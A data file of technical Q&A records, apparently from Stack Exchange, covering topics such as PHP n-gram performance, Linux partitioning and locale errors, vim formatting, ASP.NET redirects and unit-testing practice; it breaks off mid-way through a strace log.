{  "id": "_datascience.554"  , "question": "I am a CS master student in data mining. My supervisor once told me that before I run any classifier or do anything with a dataset I must fully understand the data and make sure that the data is clean and correct.My questions:What are the best practices to understand a dataset (high dimensional with numerical and nominal attributes)?Practices to make sure the dataset is clean?Practices to make sure the dataset doesn't have wrong values or so?"  , "title": "Datasets understanding best practices"  , "tags": "statistics;dataset"  } 
{  "id": "_codereview.3244"  , "question": "I have the following code, but it's too slow. How can I make it faster?<?phpclass Ngram {const SAMPLE_DIRECTORY = samples/;const GENERATED_DIRECTORY = languages/;const SOURCE_EXTENSION = .txt;const GENERATED_EXTENSION = .lng;const N_GRAM_MIN_LENGTH = 1;const N_GRAM_MAX_LENGTH = 6;public function __construct() {    mb_internal_encoding( 'UTF-8' );    $this->generateNGram();}private function getFilePath() {    $files = array();    $excludes = array('.', '..');    $path = rtrim(self::SAMPLE_DIRECTORY, DIRECTORY_SEPARATOR . '/');    $files = scandir($path);    $files = array_diff($files, $excludes);    foreach ($files as $file) {        if (is_dir($path . DIRECTORY_SEPARATOR . $file))            fetchdir($path . DIRECTORY_SEPARATOR . $file, $callback);        else if (!preg_match('/^.*\\\\' . self::SOURCE_EXTENSION . '$/', $file))            continue;        else            $filesPath[] = $path . DIRECTORY_SEPARATOR . $file;     }    unset($file);    return $filesPath;}protected function removeUniCharCategories($string){    //Replace punctuation('  # % & ! . : , ? ) become space      //Example : 'You&me', become 'You Me'.    $string = preg_replace( /\\p{Po}/u,  , $string );    //--------------------------------------------------    $string = preg_replace( /[^\\p{Ll}|\\p{Lm}|\\p{Lo}|\\p{Lt}|\\p{Lu}|\\p{Zs}]/u, , $string );    $string = trim($string);    $string = mb_strtolower($string,'UTF-8');    return $string;}private function generateNGram() {    $files = $this->getFilePath();    foreach($files as $file) {        $file_content = file_get_contents($file, FILE_TEXT);        $file_content = $this->removeUniCharCategories($file_content);        $words = explode( , $file_content);        $tokens = array();        foreach ($words as $word) {            $word = _ . $word . _;            $length = mb_strlen($word, 'UTF-8');            for ($i = self::N_GRAM_MIN_LENGTH, $min =  min(self::N_GRAM_MAX_LENGTH, $length); $i <= $min; $i++) {                for ($j = 0, $li = $length - $i; $j <= $li; $j++) {                    $token = mb_substr($word, $j, $i, 'UTF-8');                    if (trim($token, _)) {                        $tokens[] = $token;                    }                   }            }        }        unset($word);        $tokens = array_count_values($tokens);        arsort($tokens);        $ngrams = array_slice(array_keys($tokens), 0);        file_put_contents(self::GENERATED_DIRECTORY . str_replace(self::SOURCE_EXTENSION, self::GENERATED_EXTENSION, basename($file)), implode(PHP_EOL, $ngrams));    }    unset($file);}}$ii = new Ngram();?>"  , "title": "N-gram generation"  , "tags": "performance;regex;php5;natural language processing;unicode"  } 
{  "id": "_webapps.98867"  , "question": "I called my dentist recently to schedule an appointment. Didn't have to do any web searches since I already had the number. Once there, I did not make any payments with my credit card, didn't even have to show my insurance card since they already had that info. Not sure if I called from my iPhone or landline but I don't have LinkedIn app installed on my iPhone so it's irrelevant.Today, I logged into LinkedIn and my dentist is first on the list of suggestions to connect to. Now, if that is not creepy, I don't know what is.How in the world would they suggest my dentist since there were no emails exchanged with my dentist, no web searches of my dentist, no credit card transactions at the dentist office or anything else traceable?Do they get data from the NSA or something? It's so creepy I'm considering closing my LinkedIn account..."  , "title": "How LinkedIn knows my dentist?"  , "tags": "linkedin;social networks"  } 
{  "id": "_webmaster.95018"  , "question": "I've been having some indexing issues that I've had a development team working on trying to fix for a week but no progress has been made. The site has an overwhelming amount of 404 errors as indicated by Google Search Console. This site is about 800 pages but there are almost 1300 404 errors. This site is built on WordPress. All of said errors are existent on the Desktop portion of GSC but not on the Smartphone portion. The 404's are all from pages that I have no recollection of ever existing and all follow the same format /URLPath/index.html. One of these is errors is explicitly /2014/12/index.html. The page /2014/12 exists as do all of the other pages mentioned in the 404 list as long as you drop the /index.html that appends to the end of the URL. Investigating I can see that the URL was crawled earlier in May and that this page is being linked from 5 other URLS (using the page mentioned above). Of these 5 URLS, none of them link to /2014/12/index.html or /2014/12/ and no changes have been made to this page since it was published. A similar theme occurs for all of the other 404 errors and there linked from pages. Is it possible that these crawl errors are contributing to my indexing problem?(A Site: search shows Google has over 1400 pages indexed but there are only about 800)Why would these pages, appending /index.html, be created without me creating them?NOTE:All of these errors appeared over a 2 day period at the start of May. This is happening for every tag & category as well /tag/index.html, /category/index.html, /category/helloWorld/index.html, etc. This website used to be www and now uses the non-www version of the site.A sitemap was submitted at the end of May with only the 800-ish pages that exist and only 98 are recorded as index by GSC. EDIT:I looked into the server logs to see who accessed the URLs that append /index.html but the entire server log is empty. There's no trace of anyone visiting a page that 404s.  "  , "title": "404's from nonexistent URL"  , "tags": "indexing;404"  } 
{  "id": "_softwareengineering.255129"  , "question": "I'm reading a paper describing a NLP work, and I hardly catch the concept of a term, latent parsing.Original paper: http://web.stanford.edu/~angeli/papers/2013-acl-temporal.pdfThe figure in the page 6 seems to be helpful (I can't upload the figure because of my reputation)"  , "title": "What is latent parsing in NLP?"  , "tags": "parsing;natural language processing"  , "accepted_answer": "Let me try to explain what I understand after quickly looking at the paper. Latent is used to describe techniques that uncover the hidden meaning of a piece of text (see e.g. http://en.wikipedia.org/wiki/Latent_semantic_indexing). In this paper the authors are using machine learning to do latent semantic parsing of temporal expressions.Essentially one wants to compute a unique represesentation of a temporal expression, for example March 14 could mean March 14th but also March 2PM. By using regular expressions one can't tell what March 14 means but by using estimation one knows that March 14th would be the most likely interpretation of that expression and so get the (most likely) correct parsing."  } 
{  "id": "_unix.328101"  , "question": "The useful option wget --convert-links or wget -k makes links in downloaded HTML or CSS point to local files. It makes two passes:Pass 1: download files.Pass 2: convert links.I want to do pass 1 now and pass 2 later. I want to invoke the two passes separately. I want wget to stop after pass 1, let me do some stuff, and only then continue with pass 2. I just want to convert links as a separate command, whether the command is wget or something else. How, please?And if wget won't do this, then is there a Perl module, Python module or the like that will?(For reference: this answer partly answers my question. This question is similar, but its answer seems to fail.  At any rate, neither gives something that actually works as far as I can tell.)"  , "title": "Using wget or another command, how to download now but convert links later?"  , "tags": "wget;html"  } 
{  "id": "_unix.104996"  , "question": "I can't connect to a WiFi network. I tried various methods such as wpa_supplicant and wicd. At the moment I'm trying netctl.When I enter the command: systemctl --type=service I see the following errors:netctl start wireless-homeJob for netctl@wireless\\x2dhome.service failed. See 'systemctl statusnetctl@wireless\\x2dhome.service' and 'journalctl -xn' for details.This is the profile file for wireless-home:Description='A simple WPA encrypted wireless connection'Interface=wlan0Connection=wirelessSecurity=wpaIP=dhcpESSID='Pruthenia 3.OG'Key='XXXXXXXXXX'systemctl status netctl@wireless\\x2dhome.servicenetctl@wirelessx2dhome.service - Networking for netctl profile wirelessx2dhome Loaded: loaded (/usr/lib/systemd/system/netctl@.service; static) Active: inactive (dead) Docs: man:netctl.profile(5)journalctl -xn output --> Dec 12 08:01:01 webcampi CROND[2765]: pam_unix(crond:session): session closed for user rootDec 12 09:01:01 webcampi crond[3490]: pam_unix(crond:session): session opened for user root by (uid=0)Dec 12 09:01:01 webcampi CROND[3491]: (root) CMD (run-parts /etc/cron.hourly)Dec 12 09:01:01 webcampi CROND[3490]: pam_unix(crond:session): session closed for user rootDec 12 10:01:01 webcampi crond[4216]: pam_unix(crond:session): session opened for user root by (uid=0)Dec 12 10:01:01 webcampi CROND[4217]: (root) CMD (run-parts /etc/cron.hourly)Dec 12 10:01:01 webcampi CROND[4216]: pam_unix(crond:session): session closed for user rootDec 12 11:01:01 webcampi crond[4941]: pam_unix(crond:session): session opened for user root by (uid=0)Dec 12 11:01:01 webcampi CROND[4942]: (root) CMD (run-parts /etc/cron.hourly)Dec 12 11:01:01 webcampi CROND[4941]: pam_unix(crond:session): session closed for user rootHow can I fix this?"  , "title": "Can't connect to WLAN with netctl"  , "tags": "arch linux;wifi;raspberry pi;netctl"  } 
{  "id": "_softwareengineering.291150"  , "question": "I am trying to write an utility which traverses through a list of files and searches for a string in each file. On finding the string in a file, I will add it to a list and display the list. Which design pattern should I use for the same?"  , "title": "Design Patterns: What design pattern should I use for the following?"  , "tags": "java;design patterns"  } 
{  "id": "_softwareengineering.143509"  , "question": "When I start learning a new language, I have a couple of simple implementations that I like to complete to familiarise myself with the language. Currently, I write:Fibonacci and/or factorial to get the hang of writing and calling methods, and basic recursionDjikstras shortest path (with a node type) to get to grips with making classes (or whatever the language equivalent is) with methods and properties, and also using them in slightly more complex code.I was wondering: does anybody else have any techniques or tools they like to use when getting off the ground in a new language? I'm always looking for new things to add to my start-up routine."  , "title": "Techniques for getting off the ground in any language"  , "tags": "learning;self improvement;language agnostic"  , "accepted_answer": "I have constructed a small hello, world task I have used to make sure I learn some important parts of languages. The program needs to read and parse a CSV file (I make sure to use regex if available), and then - based on command line arguments - it needs to output the data in either json, yaml or XML format to a new file. For constructing the output I usually try not to use to many loops, but instead find the language equivalents of map and reduce.I've found that modelling this problem is complex enough to be quite valuable. For instance I try not to use a switch/case, but somehow apply the open/close principle and thereby making it extendable (object-based polymorphism, dynamic dispatch table etc.)"  } 
{  "id": "_webapps.29924"  , "question": "For each user on Wikipedia, I'd like to find which pages were created by those users. How can I find all of the pages that were created by a specific Wikipedia or Mediawiki user?"  , "title": "How can I see all pages that were created by a specific Wikipedia user?"  , "tags": "mediawiki;wikipedia"  , "accepted_answer": "As far as I know, there is no simple way to do this. But I can see some possibilities (starting with those that practically won't work):Use the API. The API doesn't have any direct way to do this, but you could try to work around that:Go though all pages and for each of them, find out the creator. Because of the limitations of the API when working with revisions, this would mean 1 request per page, which makes this completely unfeasible for a wiki as big as Wikipedia.The first query would look something like: http://en.wikipedia.org/w/api.php?action=query&generator=allpages&gaplimit=1&prop=revisions&rvdir=newer&rvprop=user&rvlimit=1For each user, go through his contributions and find out which of his edits created a new page. Because the API won't let you filter the contributions to show only page creations, you would have to filter that by yourself. This would be probably much faster than the option above, but still way too slow for Wikipedia:The query for User:Svick would look like: http://en.wikipedia.org/w/api.php?action=query&list=usercontribs&ucuser=Svick&ucprop=title|flags&uclimit=maxDownload the stub-meta-history dump (32 GB compressed for the English Wikipedia), which contains information about revisions of all pages in XML. You could go through that to find out the creator of each page (assuming no revisions were deleted).On the Wikimedia Toolserver, I run a script (originally not written by me) that periodically updates the table u_svick_enwiki_page_creators_p, which contains information about users that created each page. This table is accessible to other users of the Toolserver, but not to the public.To sum up: there is no good solution and you have pretty much two choices: download and parse 32 GB of data, or get a Toolserver account and then use the table I mentioned."  } 
{  "id": "_softwareengineering.145378"  , "question": "So, I've been working for a bank for the past 4 years. My main responsibility has been online banking. Over the past year, we've been implementing the scrum methodology. We've also changed to domain driven design.Now, my problem is regarding what management is planning on doing. They want to split the online banking team between the domain teams, so one developer from the online banking team will go into each domain team and work on online banking projects that are part of the domains. For example, if software development gets a project to create a new loan overview in the online bank, the loan team will handle it all the way from from database to UI. My problem with this is that there is no focus on the online bank as a product anymore. There is no way to veto any new feature. The product owners in the domains can just dump any obscure new feature into the online bank that they want to. There is also no work happening to revamp core features that our users use all the time. Every project is to make something new and once it's release, developers have to start working on a new project immediately. There is no teamwork, each web developer has to work on a separate UI for a separate domain. No hardening.Our suggestion to management is that the online banking team be it's own scrum team focusing on the online bank as a product. That team would have it's own scrum master and the online bank would have a product owner. That product owner would coordinate with the product owners of the domains and prioritize projects that have to happen in the online banks. If a project from one domain has higher priority than a project from another domain, he would explain to the domain PO that we have to work on the higher priority one first.Management hasn't listened to us.My question is, what is the right way to do this? "  , "title": "Scrum, DDD, and front-end development in an enterprise environment"  , "tags": "web development;scrum;domain driven design"  , "accepted_answer": "The approach you describe is what is commonly termed a Scrum of Scrums...except there doesn't appear to be collaboration between the teams in terms of integration. Without that, you do risk having a hodgepodge of features without any consistency between them. The transition might be noticeable and jarring to the users as they go from say managing their mortgage to checking their savings balance. Basically, you'll end up with a series of Silos with few of the benefits of either approach (Scrum or DDD). That being said, it's tough to judge from a few paragraphs what counterbalances have been put in place to avoid this scenario. For example, if the Product Owners do regularly meet and collaborate on features and approach then hopefully, they will address the system as a unified whole and the separation of teams is really just for simplification from a management perspective.I'd say, give it a chance you might find that they know more than they're letting on at first ;)"  } 
{  "id": "_unix.81149"  , "question": "I did a pvresize (decrease) on /dev/sda2 so that I can have about 48 GBytes free... and I wanted to create a partition on that free space, but the /dev/sda3 device didn't created.. why? Do I need a reboot for it? (didn't rebooted after the reducing of the PV...)[root@SERVER ~]# parted -s /dev/sda print freeModel: ATA Hitachi HTS72503 (scsi)Disk /dev/sda: 320GBSector size (logical/physical): 512B/4096BPartition Table: msdosNumber  Start   End     Size    Type     File system  Flags    32,3kB  1049kB  1016kB           Free Space 1      1049kB  538MB   537MB   primary  ext4         boot 2      538MB   272GB   271GB   primary               lvm    272GB   320GB   48,3GB           Free Space[root@SERVER ~]#[root@SERVER ~]#  [root@SERVER ~]# parted /dev/sda printModel: ATA Hitachi HTS72503 (scsi)Disk /dev/sda: 320GBSector size (logical/physical): 512B/4096BPartition Table: msdosNumber  Start   End    Size   Type     File system  Flags 1      1049kB  538MB  537MB  primary  ext4         boot 2      538MB   272GB  271GB  primary               lvm[root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# parted /dev/sda mkpart primary 272GB 320GBWarning: WARNING: the kernel failed to re-read the partition table on /dev/sda (Az eszkz vagy erforrs foglalt).  As a result, it may not reflect all ofyour changes until after reboot.[root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# parted /dev/sda printModel: ATA Hitachi HTS72503 (scsi)Disk /dev/sda: 320GBSector size (logical/physical): 512B/4096BPartition Table: msdosNumber  Start   End    Size    Type     File system  Flags 1      1049kB  538MB  537MB   primary  ext4         boot 2      538MB   272GB  271GB   primary               lvm 3      272GB   320GB  48,3GB  primary[root@SERVER ~]# [root@SERVER ~]# parted -s /dev/sda print freeModel: ATA Hitachi HTS72503 (scsi)Disk /dev/sda: 320GBSector size (logical/physical): 512B/4096BPartition Table: msdosNumber  Start   End     Size    Type     File system  Flags    32,3kB  1049kB  1016kB           Free Space 1      1049kB  538MB   537MB   primary  ext4         boot 2      538MB   272GB   271GB   primary               lvm 3      272GB   320GB   48,3GB  primary    320GB   320GB   352kB            Free Space[root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# env LC_MESSAGES=EN ls -la /dev/sda*brw-rw----. 1 root disk 8, 0 Jun 29 18:53 /dev/sdabrw-rw----. 1 root disk 8, 1 Jun 28 12:56 /dev/sda1brw-rw----. 1 root disk 8, 2 Jun 28 12:56 /dev/sda2[root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# partprobeWarning: WARNING: the kernel failed to re-read the partition table on /dev/sda (Az eszkz vagy erforrs foglalt).  As a result, it may not reflect all of your changes until after reboot.[root@SERVER ~]#[root@SERVER ~]#[root@SERVER ~]# env LC_MESSAGES=EN ls -la /dev/sda*brw-rw----. 1 root disk 8, 0 Jun 29 18:55 /dev/sdabrw-rw----. 1 root disk 8, 1 Jun 28 12:56 /dev/sda1brw-rw----. 1 root disk 8, 2 Jun 28 12:56 /dev/sda2[root@SERVER ~]# [root@SERVER ~]# env LC_MESSAGES=EN fdisk -lDisk /dev/sda: 320.1 GB, 320072933376 bytes255 heads, 63 sectors/track, 38913 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytesSector size (logical/physical): 512 bytes / 4096 bytesI/O size (minimum/optimal): 4096 bytes / 4096 bytesDisk identifier: 0x0007e24d   Device Boot      Start         End      Blocks   Id  System/dev/sda1   *           1          66      524288   83  LinuxPartition 1 does not end on cylinder boundary./dev/sda2              66       33039   264859648   8e  Linux LVM/dev/sda3           33039       38914    47185920   83  Linux[root@SERVER ~]# head -1 /etc/issueScientific Linux release 6.4 (Carbon)[root@SERVER ~]# UPDATE: [root@SERVER ~]# kpartx -av /dev/sdadevice-mapper: reload ioctl on sda1 failed: Invalid argumentcreate/reload failed on sda1add map sda1 (0:0): 0 1048576 linear /dev/sda 2048device-mapper: reload ioctl on sda2 failed: Invalid argumentcreate/reload failed on sda2add map sda2 (0:0): 0 529719296 linear /dev/sda 1050624device-mapper: reload ioctl on sda3 failed: Invalid argumentcreate/reload failed on sda3add map sda3 (0:0): 0 94371840 linear /dev/sda 530769920[root@SERVER ~]# [root@SERVER ~]# env LC_MESSAGES=EN ls -la /dev/sda*brw-rw----. 1 root disk 8, 0 Jun 29 22:05 /dev/sdabrw-rw----. 1 root disk 8, 1 Jun 28 12:56 /dev/sda1brw-rw----. 1 root disk 8, 2 Jun 28 12:56 /dev/sda2[root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# sh rescan-scsi-bus.sh WARN: /usr/bin/sg_inq not present -- please install sg3_utils or rescan-scsi-bus.sh might not fully work.Host adapter 0 (ata_piix) found.Host adapter 1 (ata_piix) found.Host adapter 2 (ahci) found.Host adapter 3 (ahci) found.Host adapter 4 (ahci) found.Scanning SCSI subsystem for new devicesScanning host 0 for  SCSI target IDs  0 1 2 3 4 5 6 7, all LUNs Scanning for device 0 0 0 0 ...           OLD: Host: scsi0 Channel: 00 Id: 00 Lun: 00      Vendor: MATSHITA Model: DVD/CDRW UJDA775 Rev: CB03      Type:   CD-ROM                           ANSI SCSI revision: 05Scanning host 1 for  SCSI target IDs  0 1 2 3 4 5 6 7, all LUNsScanning host 2 for  SCSI target IDs  0 1 2 3 4 5 6 7, all LUNs Scanning for device 2 0 0 0 ...           OLD: Host: scsi2 Channel: 00 Id: 00 Lun: 00      Vendor: ATA      Model: Hitachi HTS72503 Rev: GHBO      Type:   Direct-Access                    ANSI SCSI revision: 05Scanning host 3 for  SCSI target IDs  0 1 2 3 4 5 6 7, all LUNsScanning host 4 for  SCSI target IDs  0 1 2 3 4 5 6 7, all LUNs0 new device(s) found.                     0 device(s) removed.                 [root@SERVER ~]# [root@SERVER ~]# [root@SERVER ~]# env LC_MESSAGES=EN ls -la /dev/sda*brw-rw----. 1 root disk 8, 0 Jun 29 22:05 /dev/sdabrw-rw----. 1 root disk 8, 1 Jun 28 12:56 /dev/sda1brw-rw----. 1 root disk 8, 2 Jun 28 12:56 /dev/sda2[root@SERVER ~]# "  , "title": "Why doesn't /dev/sda3 created?"  , "tags": "partition;scientific linux"  , "accepted_answer": "You are running an old version of parted which still uses the BLKRRPART ioctl to have the kernel reload the partition table, instead of the newer BLKPG ioctl.  BLKRRPART only works on a disk that does not have any partitions in use, hence, the error about informing the kernel of the changes, and suggesting you reboot.Update to a recent version of parted and you won't get this error, or just reboot for the changes to take affect, as the message said.  Depending on how old the util-linux package is on your system, you may be able to use partx -a or for more recent releases, partx -u to add the new partition without rebooting."  } 
{  "id": "_unix.314715"  , "question": "For historical reasons, deploying one of our tools relies on two different versions of Java at various stages in the process. The way this is handled is by repeatedly editing the JAVA_HOME variable in .bash_profile.For example, the deployment instructions has a step in the middle like this:Edit .bash_profile to uncomment the following line: JAVA_HOME=/path//to/java/jdk1.6.0_07/source .bash_profile~~First deployment steps~~Edit .bash_profile to comment out the previous line and uncomment the following line:JAVA_HOME=/path//to/java/jdk1.7.0_47/source .bash_profile~~More deployment steps~~This is quite obviously a braindead way of doing this.What's the quickest/shortest/most correct way of changing an environment variable on the fly?"  , "title": "Quickly changing values of environment variables in .bash_profile"  , "tags": "bash;shell"  } 
{  "id": "_vi.3018"  , "question": "When I have heredoc and I format it with gq I want it to be aligned in a way so each line starts at the same column like this:    Long text goes here ...                    80 chars |    <- whitespace preserved ...                80 chars |    <- still whitespace ...                    80 chars |Here is what I get instead:    Long text goes here ...                    80 chars |<- whitespace preserved ...                    80 chars |<- still whitespace ...                        80 chars |Is there a way to reflow the text while preserving the left whitespace?"  , "title": "`gq` with left whitespace intact"  , "tags": "formatting"  , "accepted_answer": ":set autoindent will ensure that new lines have the same indentation as the previous line. This will also happen when you hit enter in insert mode (or any other time you add a new line, like o/O).Note that this is a local setting, so it would have to be set in each buffer you want this to happen in. To get around this, you can use autocmds or filetype files so that the setting is applied whenever you open a new buffer with a certain filetype."  } 
{  "id": "_webmaster.23462"  , "question": "I need some urgent advice please with regard to Google analytics and multiple domains, and how best to handle them.Got a very sensitive customer who has a number of domains:EGsomethingvauxhall.co.uk, somthing-vauxhall.co.uk, something-group.co.uk, somethinggroup.co.uk, somethinggroup.com etcI was under the impression it was always best to funnel all domains down to a single master domain. For example all the domains hitting this site are forwarded to www.somethinggroup.com.Now I'd heard it was best to do this using a 301 Redirect. if memory serves. For a number of reasons I was unable to do this due to the setup on our server, so instead had to code forwarding manually in the codebehind (asp.NET). Like this:    if(domain != www.somethinggroup.com)    {        string forwardURL = http://www.somethinggroup.com/;        if(path != )        {            forwardURL = forwardURL + path;        }        if(queryString != )        {            forwardURL = forwardURL + ? + queryString;        }        Response.Redirect(forwardURL);    }This now looks like this was a really bad idea because although the traffic levels look fine across the site, it's screwed up things like referring sites etc.My question is this really:a) Was this a bad move?b) Would a 301 redirect me better from an analytics point of view? Or is it best just to let people hit the site using whatever domain name?"  , "title": "Google analytics and multiple domains"  , "tags": "google;domains;google analytics;multiple domains;top level domains"  , "accepted_answer": "There are a variety of usability and historical SEO reasons to use permanent redirects over temporary redirects, however, the need to do so for SEO purposes has been mitigated by the advent of canonical link specifications (and you could use the setDomainName function to force somethinggroup.com for analytics purposes) - still, that's no reason to avoid using a permanent redirect if that's what you intend to do.The Response.Redirect() method issues a 302 Object Moved response - this is not the same as a 301 Moved Permanently response.You can change your ASP.NET code to send the proper redirect headers:if(domain != www.somethinggroup.com){    string forwardURL = http://www.somethinggroup.com/;    if(path != )    {        forwardURL = forwardURL + path;    }    if(queryString != )    {        forwardURL = forwardURL + ? + queryString;    }    Response.Status = 301 Moved Permanently;    Response.AddHeader(Location, forwardURL);}"  } 
{  "id": "_unix.34945"  , "question": "I have a default, unchanged installation of the Mumble server on Debian Squeeze (package mumble-server). On a previous setup, starting the server (called murmurd) on boot using the default init scripts worked fine. On a new setup, that seems to me to be identical in every way, murmurd doesn't seem to bind to a network address on boot. No clients can thus connect until I restart the process after booting.The logs are quite telling. On boot:<W>2012-03-25 00:15:01.543 Murmur 1.2.2 (1.2.2-6+squeeze1) running onX11: Debian GNU/Linux 6.0.4 (squeeze): Booting servers <W>2012-03-2500:15:01.617 1 => Announcing server via bonjour <W>2012-03-2500:15:01.650 1 => Not registering server as publicand no clients can connect. Using service mumble-server restart after boot, however, gives:<W>2012-03-25 00:22:27.529 Murmur 1.2.2 (1.2.2-6+squeeze1) running onX11: Debian GNU/Linux 6.0.4 (squeeze): Booting servers <W>2012-03-2500:22:27.549 1 => Server listening on [::]:64738 <W>2012-03-2500:22:27.559 1 => Announcing server via bonjour <W>2012-03-2500:22:27.570 1 => Not registering server as publicNotice the third line.It thus seems to me that the init script tries to start the daemon before the network is up and running. The /etc/rc2.d/S19mumble-server script that comes with the package says, though:# Required-Start:       $network $local_fs $remote_fs dbusThe exact same setup works fine on a different machine (also running Debian Squeeze), so I'm beginning to suspect it has something to do with timing on boot, or some other nondeterministic factor.Ideas?"  , "title": "Mumble doesn't bind to network address on boot, needs to be restarted (doesn't properly wait for network?)"  , "tags": "debian;networking"  } 
{  "id": "_softwareengineering.154615"  , "question": "I cannot count the number of times I read statements in the vein of 'unit tests are a very important source of documentation of the code under test'. I do not deny they are true.But personally I haven't found myself using them as documentation, ever. For the typical frameworks I use, the method declarations document their behaviour and that's all I need. And I assume the unit tests backup everything stated in that documentation, plus likely some more internal stuff, so on one side it duplicates the ducumentation while on the other it might add some more that is irrelevant.So the question is: when are unit tests used as documentation? When the comments do not cover everything? By developpers extending the source? And what do they expose that can be useful and relevant that the documentation itself cannot expose?"  , "title": "Are unit tests really used as documentation?"  , "tags": "unit testing;documentation"  , "accepted_answer": "They're NOT an ABSOLUTE Reference DocumentationNote that a lot of the following applies to comments as well, as they can get out of sync with the code, like tests (though it's less enforceable).So in the end, the best way to understand code is to have readable working code.If at all possible and not writing hard-wired low-level code sections or particularly tricky conditions were additional documentation will be crucial.Tests can be incomplete:The API changed and wasn't tested,The person who wrote the code wrote the tests for the easiest methods to test first instead of the most important methods to test, and then didn't have the time to finish.Tests can be obsolete.Tests can be short-circuited in non-obvious ways and not actually executed.BUT They're STILL an HELPFUL Documentation ComplementHowever, when in doubt about what a particular class does, especially if rather lengthy, obscure and lacking comments (you know the kind...), I do quickly try to find its test class(es) and check:what they actually try to check (gives a hint about the most important tidbits, except if the developer did the error mentioned above of only implementing the easy tests),and if there are corner cases.Plus, if written using a BDD-style, they give a rather good definition of the class's contract. Open your IDE (or use grep) to see only method names and tada: you have a list of behaviors.Regressions and Bugs Need Tests TooAlso, it's a good practice to write tests for regression and for bug reports: you fix something, you write a test to reproduce the case. When looking back at them, it's a good way to find the relevant bug report and all the details about an old issue, for instance.I'd say they're a good complement to real documentation, and at least a valuable resource in this regard. It's a good tool, if used properly. If you start testing early in your project, and make it a habit, it COULD be a very good reference documentation. On an existing project with bad coding habits already stenching the code base, handle them with care."  } 
{  "id": "_webapps.62701"  , "question": "I've starred a project on Github. I'd like to receive via email notification of major updates of that project (basically commits on the master branch).I know there is the Watch options but I don't really want to receive emails for all issues and so on, I just want official updates on the project.How can I do this? "  , "title": "Github receive updates of starred projects via email of commits on master branch"  , "tags": "github;notifications"  , "accepted_answer": "Actually there is finally a super simple service doing right what is neededhttps://sibbell.com/Get with github account, and you can get notification of new releases based on watch and/or stars. Totally free! It can get even more granular on a per base repository filter with some premium features, totally awesome!"  } 
{  "id": "_unix.173812"  , "question": "On my Debian Wheezy VPS I keep getting the errors relating to locale and locale changes, when switching users, for example:-su: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)And when doing almost anything related to installation (apt-get and dpkg):perl: warning: Setting locale failed.perl: warning: Please check that your locale settings:    LANGUAGE = (unset),    LC_ALL = en_US.UTF-8,    LANG = en_US.UTF-8    are supported and installed on your system.perl: warning: Falling back to the standard locale (C).locale: Cannot set LC_CTYPE to default locale: No such file or directorylocale: Cannot set LC_MESSAGES to default locale: No such file or directorylocale: Cannot set LC_ALL to default locale: No such file or directoryI've looked into it, and found several questions about this kind of errors already.The output of locale -a is:locale: Cannot set LC_CTYPE to default locale: No such file or directorylocale: Cannot set LC_MESSAGES to default locale: No such file or directorylocale: Cannot set LC_COLLATE to default locale: No such file or directoryCC.UTF-8POSIXI've also tried installing the locales package, which didn't work either, for example locale-gen, doesn't change anything.Edit: The output of strace locale -a is the following (a whole bunch bunch of text, be warned)execve(/usr/bin/locale, [locale, -a], [/* 13 vars */]) = 0brk(0)                                  = 0x191b000access(/etc/ld.so.nohwcap, F_OK)      = -1 ENOENT (No such file or directory)mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe6c1353000access(/etc/ld.so.preload, R_OK)      = -1 ENOENT (No such file or directory)open(/etc/ld.so.cache, O_RDONLY)      = 3fstat(3, {st_mode=S_IFREG|0644, st_size=30161, ...}) = 0mmap(NULL, 30161, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fe6c134b000close(3)                                = 0access(/etc/ld.so.nohwcap, F_OK)      = -1 ENOENT (No such file or directory)open(/lib/x86_64-linux-gnu/libc.so.6, O_RDONLY) = 3read(3, \\177ELF\\2\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\0>\\0\\1\\0\\0\\0\\300\\357\\1\\0\\0\\0\\0\\0..., 832) = 832fstat(3, {st_mode=S_IFREG|0755, st_size=1603600, ...}) = 0mmap(NULL, 3717176, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fe6c0daa000mprotect(0x7fe6c0f2c000, 2097152, PROT_NONE) = 0mmap(0x7fe6c112c000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x182000) = 0x7fe6c112c000mmap(0x7fe6c1131000, 18488, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fe6c1131000close(3)                                = 0mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe6c134a000mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe6c1349000mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe6c1348000arch_prctl(ARCH_SET_FS, 0x7fe6c1349700) = 0mprotect(0x7fe6c112c000, 16384, PROT_READ) = 0mprotect(0x606000, 4096, PROT_READ)     = 0mprotect(0x7fe6c1355000, 4096, PROT_READ) = 0munmap(0x7fe6c134b000, 30161)           = 0brk(0)                                  = 0x191b000brk(0x193c000)                          = 0x193c000open(/usr/lib/locale/locale-archive, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/share/locale/locale.alias, O_RDONLY) = 3fstat(3, {st_mode=S_IFREG|0644, st_size=2570, ...}) = 0mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe6c1352000read(3, # Locale name alias data base.\\n#..., 4096) = 2570read(3, , 4096)                       = 0close(3)                                = 0munmap(0x7fe6c1352000, 4096)            = 0open(/usr/lib/locale/en_US.UTF-8/LC_CTYPE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en_US.utf8/LC_CTYPE, O_RDONLY) = -1 ENOENT (No such file or directory)open(/usr/lib/locale/en_US/LC_CTYPE, O_RDONLY) = -1 ENOENT (No such file or 